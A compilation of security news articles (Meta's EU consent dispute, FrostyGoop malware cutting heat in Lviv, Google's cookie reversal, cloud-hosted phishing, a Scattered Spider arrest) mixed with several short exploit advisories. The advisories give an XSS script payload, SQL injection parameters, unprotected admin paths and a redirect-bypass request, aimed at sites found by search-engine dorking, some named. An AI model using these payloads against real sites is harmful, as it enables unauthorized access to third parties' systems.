Meta has been given time till September 1, 2024, to respond to concerns raised by the European Commission over its "pay or consent" advertising model or risk-facing enforcement measures, including sanctions.
The European Commission said the Consumer Protection Cooperation (CPC) Network has notified the social media giant of the model adopted on Facebook and Instagram of potentially violating

Meta has been given time till September 1, 2024, to respond to concerns raised by the European Commission over its "pay or consent" advertising model or risk-facing enforcement measures, including sanctions.

The European Commission said the Consumer Protection Cooperation (CPC) Network has notified the social media giant of the model adopted on Facebook and Instagram of potentially violating consumer protection laws.

It described the new practice as misleading and confusing, with authorities expressing worries that consumers might have been pressured into choosing quickly between either paying a monthly subscription or consenting to their personal data being used for targeted advertising.

This, the agency said, could have been motivated by fears that they "would instantly lose access to their accounts and their network of contacts."

Meta, which introduced a subscription plan for European Union (E.U.) users in late 2023, has run into hot water over offering what's essentially not a choice at all and for extracting a "privacy fee" to exercise their data protection rights.

As per the E.U. Digital Markets Act (DMA), companies in gatekeeper roles are required to seek users' express consent before utilizing their data for offering services that go beyond their core functionality (e.g., advertising) or provide access to a less personalized but equivalent version of the platforms for those who refuse to opt in.

"Gatekeepers cannot make use of the service or certain functionalities conditional on users' consent," the Commission noted earlier this month, stating that Meta's model is in violation of the DMA.

The Commission further called out Meta for using vague terms and branding the service as "free" when, in reality, it forces consumers to agree to their data used for personalized ads, not to mention making the experience confusing by making them "navigate through different screens" to determine how their data is used and processed for advertising purposes.

Meta, however, considers the paid version a legitimate business model, and has pointed to a ruling from the Court of Justice of the European Union (CJEU) last July that a company may offer an equivalent alternative version of its service "for an appropriate fee" that does not rely on data collection for ads.

That said, it bears noting here that the judgment pertains to the context of users signing up for Meta's services, and not to existing users (which is where the aforementioned issues associated with changes to the consent model come from). It remains to be seen if it can be interpreted as a legal precedent.

"Consumers must not be lured into believing that they would either pay and not be shown any ads anymore, or receive a service for free, when, instead, they would agree that the company used their personal data to make revenue with ads," Didier Reynders, E.U. Commissioner for Justice, said.

"Traders must inform consumers upfront and in a fully transparent manner on how they use their personal data. This is a fundamental right that we will protect."

The development comes days after Nigeria's Federal Competition and Consumer Protection Commission (FCCPC) fined Meta $220 million after an investigation showed that the company's data sharing on Facebook and WhatsApp violated local consumer, data protection, and privacy laws by collecting users' information without their consent.

"Meta Parties shall immediately and forthwith stop the process of sharing WhatsApp user's information with other Facebook companies and third parties, until such a time when users have actively and voluntarily consented to each and every component of the liberties Meta parties intend to exercise with respect to the information of the data subjects," a final order issued last week read.

Earlier this May, the Turkish competition board imposed a $37.20 million penalty against the American tech giant over its data-sharing practices across Facebook, Instagram, Threads, and WhatsApp.

It also follows a report that Oracle has agreed to pay $115 million to settle a class-action lawsuit in the U.S. accusing the database software and cloud computing company of breaching users' privacy by collecting their personal information and selling it to third-parties.

Google, meanwhile, has become the subject of a new probe initiated by the Italian data protection authority over how it gets users' consent prior to combining personal data from different services and if it provides adequate information to influence that choice.

"Google may use techniques and methods for requesting consent, and also for setting up the mechanisms for obtaining consent itself, which could condition the freedom of choice of the average consumer," the Garante alleged.

"Indeed, the customer would be induced to take a commercial decision that he/she would not have taken otherwise, by consenting to the combination and cross-use of his/her personal data among the plurality of services offered."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Meta Given Deadline to Address E.U. Concerns Over 'Pay or Consent' Model

The code, the first of its kind, was used to sabotage a heating utility in Lviv at the coldest point in the year—what appears to be yet another innovation in Russia’s torment of Ukrainian civilians.

As Russia has tested every form of attack on Ukraine's civilians over the past decade, both digital and physical, it's often used winter as one of its weapons—launching cyberattacks on electric utilities to trigger December blackouts and ruthlessly bombing heating infrastructure. Now it appears Russia-based hackers last January tried yet another approach to leave Ukrainians in the cold: a specimen of malicious software that, for the first time, allowed hackers to reach directly into a Ukrainian heating utility, switching off heat and hot water to hundreds of buildings in the midst of a winter freeze.

Industrial cybersecurity firm Dragos on Tuesday revealed a newly discovered sample of Russia-linked malware that it believes was used in a cyberattack in late January to target a heating utility in Lviv, Ukraine, disabling service to 600 buildings for around 48 hours. The attack, in which the malware altered temperature readings to trick control systems into cooling the hot water running through buildings' pipes, marks the first confirmed case in which hackers have directly sabotaged a heating utility.

Dragos' report on the malware notes that the attack occurred at a moment when Lviv was experiencing its typical January freeze, close to the coldest time of the year in the region, and that “the civilian population had to endure sub-zero \[Celsius\] temperatures.” As Dragos analyst Kyle O'Meara puts it more bluntly: “It's a shitty thing for someone to turn off your heat in the middle of winter.”

The malware, which Dragos is calling FrostyGoop, represents one of less than 10 specimens of code ever discovered in the wild that's designed to interact directly with industrial control-system software with the aim of having physical effects. It's also the first malware ever discovered that attempts to carry out those effects by sending commands via Modbus, a commonly used and relatively insecure protocol designed for communicating with industrial technology.

Dragos first discovered the FrostyGoop malware in April after it was uploaded in several forms to an online malware scanning service—most likely the Google-owned scanning service and malware repository VirusTotal, though Dragos declined to confirm which service—perhaps by the malware's creators, in an attempt to test whether it was detected by antivirus systems. Working with Ukraine's Cyber Security Situation Center, a part of the country's SBU cybersecurity and intelligence agency, Dragos says it then learned that the malware had been used in the cyberattack that targeted a heating utility starting on January 22 in Lviv, the largest city in western Ukraine.

Dragos declined to name the victim utility, and in fact says it hasn't independently confirmed the the utility's name, since it only became aware of the targeting from the Ukrainian government. Dragos' description of the attack, however, closely matches reports of a heating outage at the Lvivteploenergo utility around the same time, which according to local media led to a loss of heating and hot water for close to 100,000 people.

Lviv mayor Andriy Sadovyi at the time called the event a “malfunction" in a post to the messaging service Telegram, but added, “there is a suspicion of external interference in the company's work system, this information is currently being checked.” A Lvivteploenergo statement on January 23 described the outage more conclusively as the “result of a hacker attack.”

Lvivteploenergo didn't respond to WIRED's request for comment, nor did the SBU. Ukraine's cybersecurity agency, the State Services for Special Communication and Information Protection, declined to comment.

In its breakdown of the heating utility attack, Dragos says that the FrostyGoop malware was used to target ENCO control devices—Modbus-enabled industrial monitoring tools sold by the Lithuanian firm Axis Industries—and change their temperature outputs to turn off the flow of hot water. Dragos says that the hackers had actually gained access to the network months before the attack, in April 2023, by exploiting a vulnerable MikroTik router as an entry point. They then set up their own VPN connection into the network, which connected back to IP addresses in Moscow.

Despite that Russia connection, Dragos says it hasn't tied the heating utility intrusion to any known hacker group it tracks. Dragos noted in particular that it hasn't, for instance, tied the hacking to the usual suspects such as Kamacite or Electrum, Dragos' own internal names for groups more widely referred to collectively as Sandworm, a notorious unit of Russia's military intelligence agency, the GRU.

Dragos found that, while the hackers used their breach of the heating utility's network to send FrostyGoop's Modbus commands that targeted the ENCO devices and crippled the utility's service, the malware appears to have been hosted on the hackers' own computer, not on the victim's network. That means simple antivirus alone, rather than network monitoring and segmentation to protect vulnerable Modbus devices, likely won't prevent future use of the tool, warns Dragos analyst Mark “Magpie” Graham. “The fact that it can interact with devices remotely means it doesn't necessarily need to be deployed to a target environment,” Graham says. “You may potentially never see it in the environment, only its effects.”

While the ENCO devices in the Lviv heating utility were targeted from within the network, Dragos also warns that the earlier version of FrostyGoop it found was configured to target an ENCO device that was instead publicly accessible over the open internet. In its own scans, Dragos says it found at least 40 such ENCO devices that were similarly left vulnerable online. The company warns that there may in fact be tens of thousands of other Modbus-enabled devices connected to the internet that could potentially be targeted in the same way. “We think that FrostyGoop would be able to interact with a huge number of these devices, and we're in the process of conducting research to verify which devices would indeed be vulnerable,” Graham says.

While Dragos hasn't officially linked the Lviv attack to the Russian government, Graham himself doesn't shy away from describing the attack as a part of Russia's war against the country—a war that has brutally decimated Ukrainian critical infrastructure with bombs since 2022 and with cyberattacks starting far earlier, since 2014. He argues that the digital targeting of heating infrastructure in the midst of Ukraine's winter may actually be a sign that Ukrainians' increasing ability to shoot down Russian missiles has pushed Russia back to hacking-based sabotage, particularly in western Ukraine. “Cyber may actually be more efficient or likely to be successful towards a city over there, while kinetic weapons are maybe still successful at a closer range," Graham says. “They’re trying to use the full spectrum, the full gamut of available tools in the armory.”

Even as those tools evolve, though, Graham describes the hackers' goals in terms that have changed little in Russia's decade-long history of terrorizing its neighbor: psychological warfare aimed at undermining Ukraine's will to resist. “This is how you chip away at the will of the people,” says Graham. “It wasn’t aimed at disrupting the heating for all of winter. But enough to make people to think, is this the right move? Do we continue to fight?”

How Russia-Linked Malware Cut Heat to 600 Ukrainian Buildings in Deep Winter

Google on Monday abandoned plans to phase out third-party tracking cookies in its Chrome web browser more than four years after it introduced the option as part of a larger set of a controversial proposal called the Privacy Sandbox.
"Instead of deprecating third-party cookies, we would introduce a new experience in Chrome that lets people make an informed choice that applies across their web

Online Privacy / Regulatory Compliance

Google on Monday abandoned plans to phase out third-party tracking cookies in its Chrome web browser more than four years after it introduced the option as part of a larger set of a controversial proposal called the Privacy Sandbox.

"Instead of deprecating third-party cookies, we would introduce a new experience in Chrome that lets people make an informed choice that applies across their web browsing, and they'd be able to adjust that choice at any time," Anthony Chavez, vice president of the initiative, said.

"We're discussing this new path with regulators, and will engage with the industry as we roll this out."

The significant policy reversal comes nearly three months following the company's announcement that it intends to eliminate third-party cookies starting early next year after repeated delays, underscoring the project's tumultuous history.

While Apple Safari and Mozilla Firefox no longer support third-party cookies as of early 2020, Google has had a tougher time turning it off owing to its own prominent role as a web browser vendor and an advertising platform.

The company's idea of balancing online privacy vis-à-vis an ad-supported internet using Privacy Sandbox has courted scrutiny from regulators, advertisers, and privacy advocates, prompting it to redraw the contours of the cookie-replacement technology several times over the past few years.

Last month, Austrian privacy non-profit noyb (none of your business) said it merely shifts the control from a third-party to Google and that it can still be used to track users without giving them an option to consent in an informed and transparent manner.

Apple, which has introduced advanced tracking and fingerprinting protections in Safari, has been critical of Topics API, a crucial aspect of Privacy Sandbox that sorts users' interests into an ever-evolving list of predefined topics based on their browsing histories in order to serve personalized ads.

"The user doesn't get told upfront which topics Chrome has tagged them with or which topics it exposes to which parties," Apple's WebKit team said, noting how it can be used to fingerprint and re-identify users as well as profile their cross-site activity.

Specifically, it pointed out implementation loopholes that could potentially allow a data broker embedded in websites to capture a user's changing interests over time by periodically querying the Topics API and creating a permanent profile by combining it with other data points.

"Now imagine what advanced machine learning and artificial intelligence can deduce about you based on various combinations of interest signals," the iPhone maker said. "What patterns will emerge when data brokers and trackers can compare and contrast across large portions of the population?"

"We think the web should not expose such information across websites and we don't think the browser, i.e. the user agent, should facilitate any such data collection or use."

Privacy Sandbox has also faced regulatory hurdles over concerns that the technology could give Google an unfair advantage in the digital advertising market and limit competition, complicating the rollout process further.

The development is an admission from Google that gaining industry-wide consensus around a single solution is more challenging than it sounds. A pivot from cookies "requires significant work by many participants and will have an impact on publishers, advertisers, and everyone involved in online advertising," it said.

The U.K. Competition and Markets Authority (CMA), which is closely overseeing the changes being made by the search giant, said it's evaluating the impact of the new announcement.

"Instead of removing third-party cookies from Chrome, it will be introducing a user-choice prompt, which will allow users to choose whether to retain third-party cookies," the CMA said. "The CMA will now work closely with the \[Information Commissioner's Office\] to carefully consider Google's new approach to Privacy Sandbox."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Google Abandons Plan to Phase Out Third-Party Cookies in Chrome

A Latin America (LATAM)-based financially motivated actor codenamed FLUXROOT has been observed leveraging Google Cloud serverless projects to orchestrate credential phishing activity, highlighting the abuse of the cloud computing model for malicious purposes.
"Serverless architectures are attractive to developers and enterprises for their flexibility, cost effectiveness, and ease of use," Google

Cloud Security / Phishing Attack

A Latin America (LATAM)-based financially motivated actor codenamed **FLUXROOT** has been observed leveraging Google Cloud serverless projects to orchestrate credential phishing activity, highlighting the abuse of the cloud computing model for malicious purposes.

"Serverless architectures are attractive to developers and enterprises for their flexibility, cost effectiveness, and ease of use," Google said in its biannual Threat Horizons Report \[PDF\] shared with The Hacker News.

"These same features make serverless computing services for all cloud providers attractive to threat actors, who use them to deliver and communicate with their malware, host and direct users to phishing pages, and to run malware and execute malicious scripts specifically tailored to run in a serverless environment."

The campaign involved the use of Google Cloud container URLs to host credential phishing pages with the aim of harvesting login information associated with Mercado Pago, an online payments platform popular in the LATAM region.

FLUXROOT, per Google, is the threat actor known for distributing the Grandoreiro banking trojan, with recent campaigns also taking advantage of legitimate cloud services like Microsoft Azure and Dropbox to distribute the malware.

Separately, Google's cloud infrastructure has also been weaponized by another adversary named PINEAPPLE to propagate another stealer malware known as Astaroth (aka Guildma) as part of attacks targeting Brazilian users.

"PINEAPPLE used compromised Google Cloud instances and Google Cloud projects they created themselves to create container URLs on legitimate Google Cloud serverless domains such as cloudfunctions\[.\]net and run.app," Google noted. "The URLs hosted landing pages redirecting targets to malicious infrastructure that dropped Astaroth."

Furthermore, the threat actor is said to have attempted to bypass email gateway protections by making use of mail forwarding services that do not drop messages with failed Sender Policy Framework (SPF) records, or incorporating unexpected data in the SMTP Return-Path field in order to trigger a DNS request timeout and cause email authentication checks to fail.

The search giant said it took steps to mitigate the activities by taking down the malicious Google Cloud projects and updating its Safe Browsing lists.

The weaponization of cloud services and infrastructure by threat actors – ranging from illicit cryptocurrency mining as a consequence of weak configurations to ransomware – has been fueled by the enhanced adoption of cloud across industries.

Furthermore, the approach has the added benefit of allowing adversaries to blend into normal network activities, making detection a lot more challenging.

"Threat actors take advantage of the flexibility and ease of deployment of serverless platforms to distribute malware and host phishing pages," the company said. "Threat actors abusing cloud services shift their tactics in response to defenders' detection and mitigation measures."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

PINEAPPLE and FLUXROOT Hacker Groups Abuse Google Cloud for Credential Phishing

Xhibiter NFT Marketplace version 1.10.2 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : Xhibiter NFT Marketplace 1.10.2 XSS Vulnerability                                                                  || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : https://elements.envato.com/xhibiter-nft-marketplace-html-template-AQN45FA                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /search.php?id=1'%22()%26%25<acx><ScRiPt%20>prompt(915136)</ScRiPt>[+] https://www/127.0.0.1/gatesea.io/search.php?id=1'"()%26%25<acx><ScRiPt >prompt(915136)</ScRiPt>Greetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Xhibiter NFT Marketplace 1.10.2 Cross Site Scripting

eStore CMS version 2.0 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : eStore CMS v2.0 Sql injection Vulnerability                                                                        || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : http://www.2iraq.com/                                                                                              |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : "CMS.php?CMS_P=" or "News_Details.php?ID="<===== inject here[+] https://www/127.0.0.1/uruk.edu.iq/News_Details.php?ID=467Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

eStore CMS 2.0 SQL Injection

Clenix version 1.0 suffers from an insecure direct object reference vulnerability.

    ====================================================================================================================================| # Title     : Clenix v1.0 IDOR Vulnerability                                                                                     || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.1 (64 bits)                                                   || # Vendor    : https://www.radiustheme.com/                                                                                       |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : /admin/main.php[+] https://www/127.0.0.1/otabucert.co.uk/admin/main.php[+] Insecure Direct Object Reference : suffers from an insecure direct object reference that allows users to access the administrative interface.Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

Clenix 1.0 Insecure Direct Object Reference

Candy Redis version 2.1.2 appears to suffer from an administrative page disclosure issue.

====================================================================================================================================  
| # Title     : Candy Redis V2.1.2 HTML Form in redirect page Vulnerability                                                        |  
| # Author    : indoushka                                                                                                          |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   |  
| # Vendor    : https://bacadigital.com/pasti-bisa-panduan-ujian-cbt-untuk-pengguna/                                               |  
====================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Vulnerability description :

An HTML form was found in the response body of this page. However, the current page redirects the visitor to another page by returning an HTTP status code of 301/302.  
 Therefore, all browser users will not see the contents of this page and will not be able to interact with the HTML form. 

Sometimes programmers don't properly terminate the script after redirecting the user to another page. For example:   
<?php  
    if (!isset($_SESSION["authenticated"])) {  
        header("Location: auth.php");  
    }  
?>  
<title>Administration page</title>  
<form action="/admin/action" method="post">  
      
</form>

    
This script is incorrect because the script is not terminated after the "header("Location: auth.php");" line. An attacker can access the content the administration page by using an HTTP client that doesn't follow redirection (like HTTP Editor). This creates an authentication bypass vulnerability.   
The correct code would be 

<?php  
    if (!isset($_SESSION[auth])) {  
        header("Location: auth.php");  
        exit();  
    }  
?>  
<title>Administration page</title>  
<form action="/admin/action" method="post">  
      
</form>

    

[+] infected item : /pass. 

[+] Attack details :

Form action=''

GET /pass/ HTTP/1.1  
Pragma: no-cache  
Cache-Control: no-cache  
Referer: https://127.0.0.1/elearning7.smpn49-jkt.sch.id/pass  
Acunetix-Aspect: enabled  
Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c  
Acunetix-Aspect-Queries: filelist;aspectalerts  
Cookie: PHPSESSID=dc1a2974e1afffa5b1926d0e4f3ff57f  
Host: elearning7.smpn49-jkt.sch.id  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21  
Accept: */*

Response  
HTTP/1.1 302 Found  
Connection: Keep-Alive  
Keep-Alive: timeout=5, max=100  
x-powered-by: PHP/7.3.33  
location: https://127.0.0.1/elearning7.smpn49-jkt.sch.id/login.php  
content-type: text/html; charset=UTF-8  
content-length: 16992  
vary: Accept-Encoding,User-Agent  
date: Fri, 19 Jul 2024 10:09:49 GMT  
server: LiteSpeed  
cache-control: no-cache, no-store, must-revalidate, max-age=0  
platform: hostinger  
strict-transport-security: max-age=31536000; includeSubDomains; preload  
x-xss-protection: 1; mode=block  
x-content-type-options: nosniff  
Original-Content-Encoding: gzip

[+] The impact of this vulnerability : depends on the affected web application.

[+] How to fix this vulnerability : Make sure the script is terminated after redirecting the user to another page

Greetings to :==================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |  
================================================================

Candy Redis 2.1.2 Admin Page Disclosure

Agop CMS version 1.0 suffers from an insecure direct object reference vulnerability.

**Agop CMS 1.0 Insecure Direct Object Reference**

Posted Jul 22, 2024

Authored by indoushka

Agop CMS version 1.0 suffers from an insecure direct object reference vulnerability.

tags | exploit

SHA-256 | 1ed22de09e417dcaed8d9f03d8d62abd6b70fc4587552e70a4bdbce253d3011b

Download | Favorite | View

**Agop CMS 1.0 Insecure Direct Object Reference**

    ====================================================================================================================================| # Title     : Agop CMS v1.0 IDOR Vulnerability                                                                                   || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                   || # Vendor    : http://gico.io/agop/demos/                                                                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Direct Object Reference : suffers from an insecure direct object reference that allows users to access the administrative interface.[+] use payload : /admin/managePages.php[+] https://www/127.0.0.1/tiktrades.com/admin/managePages.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

**File Tags**

*   ActiveX (933)
*   Advisory (86,061)
*   Arbitrary (16,823)
*   BBS (2,859)
*   Bypass (1,852)
*   CGI (1,033)
*   Code Execution (7,776)
*   Conference (691)
*   Cracker (844)
*   CSRF (3,380)
*   DoS (24,985)
*   Encryption (2,389)
*   Exploit (53,050)
*   File Inclusion (4,256)
*   File Upload (989)
*   Firewall (822)
*   Info Disclosure (2,875)
*   Intrusion Detection (914)
*   Java (3,141)
*   JavaScript (895)
*   Kernel (7,161)
*   Local (14,770)
*   Magazine (586)
*   Overflow (13,147)
*   Perl (1,435)
*   PHP (5,219)
*   Proof of Concept (2,381)
*   Protocol (3,723)
*   Python (1,629)
*   Remote (31,602)
*   Root (3,625)
*   Rootkit (525)
*   Ruby (631)
*   Scanner (1,657)
*   Security Tool (8,021)
*   Shell (3,270)
*   Shellcode (1,217)
*   Sniffer (902)
*   Spoof (2,271)
*   SQL Injection (16,584)
*   TCP (2,439)
*   Trojan (690)
*   UDP (901)
*   Virus (669)
*   Vulnerability (32,893)
*   Web (9,947)
*   Whitepaper (3,781)
*   x86 (967)
*   XSS (18,234)
*   Other

**File Archives**

*   July 2024
*   June 2024
*   May 2024
*   April 2024
*   March 2024
*   February 2024
*   January 2024
*   December 2023
*   November 2023
*   October 2023
*   September 2023
*   August 2023
*   Older

**Systems**

*   AIX (429)
*   Apple (2,090)
*   BSD (376)
*   CentOS (58)
*   Cisco (1,927)
*   Debian (7,082)
*   Fedora (1,693)
*   FreeBSD (1,246)
*   Gentoo (4,531)
*   HPUX (880)
*   iOS (376)
*   iPhone (108)
*   IRIX (220)
*   Juniper (69)
*   Linux (50,456)
*   Mac OS X (691)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (489)
*   RedHat (16,351)
*   Slackware (941)
*   Solaris (1,611)
*   SUSE (1,444)
*   Ubuntu (9,673)
*   UNIX (9,429)
*   UnixWare (187)
*   Windows (6,667)
*   Other

Agop CMS 1.0 Insecure Direct Object Reference

Law enforcement officials in the U.K. have arrested a 17-year-old boy from Walsall who is suspected to be a member of the notorious Scattered Spider cybercrime syndicate.
The arrest was made "in connection with a global cyber online crime group which has been targeting large organizations with ransomware and gaining access to computer networks," West Midlands police said. "The arrest is part of

Law enforcement officials in the U.K. have arrested a 17-year-old boy from Walsall who is suspected to be a member of the notorious Scattered Spider cybercrime syndicate.

The arrest was made "in connection with a global cyber online crime group which has been targeting large organizations with ransomware and gaining access to computer networks," West Midlands police said. "The arrest is part of a global investigation into a large-scale cyber hacking community which has targeted a number of major companies which includes MGM Resorts in America."

The teen's arrest, carried out in coordination with the U.K. National Crime Agency (NCA) and the U.S. Federal Bureau of Investigation (FBI), comes a little over a month after another 22-year-old member of the e-crime syndicate from the U.K. was apprehended in Spain.

Scattered Spider, an offshoot of a loose-knit group called The Com, has evolved into an initial access broker and affiliate, delivering ransomware families like BlackCat, Qilin, and RansomHub. A recent report from Google-owned Mandiant revealed the attackers' pivot to encryptionless extortion attacks that aim to steal data from software-as-a-service (SaaS) applications.

The development comes as the DoJ announced the sentencing of Scott Raul Esparza, 24, of Texas, to nine months in prison for running a distributed denial-of-service (DDoS) attack solution named Astrostress between 2019 and 2022, following which he is expected to serve two years of supervised release. He pleaded guilty to the charges earlier in March.

"Customers of Astrostress.com were offered various levels of subscriptions – depending on how many attacks they wanted to conduct and with what power – and were charged accordingly," the DoJ said. "This site thus enabled co-conspirators worldwide to set up accounts on Astrostress.com and then use the Astrostress.com resources to direct attacks at internet-connected computers around the globe."

Esparza, who procured the attack servers and maintained the service, is said to have collaborated with Shamar Shattock, 21, of Florida. Shattock faces up to five years in prison after pleading guilty in March 2023.

It also comes in the wake of sanctions imposed by the U.S. Treasury Department against Yuliya Vladimirovna Pankratova and Denis Olegovich Degtyarenko, two members of CyberArmyofRussia\_Reborn (CARR), a hacktivist persona tied to the prolific Russia-based Sandworm (aka APT44) group, for engaging in cyber attacks targeting critical infrastructure in the country.

Pankratova (aka YUliYA) is believed to be the leader of CARR and its spokesperson, with Degtyarenko (aka Dena) working as the primary hacker for the group and allegedly responsible for the compromise of a Supervisory Control and Data Acquisition (SCADA) system of an unnamed U.S. energy company.

"Using various unsophisticated techniques, CARR has been responsible for manipulating industrial control system equipment at water supply, hydroelectric, wastewater, and energy facilities in the U.S. and Europe," the department's Office of Foreign Assets Control (OFAC) said.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Tag

#google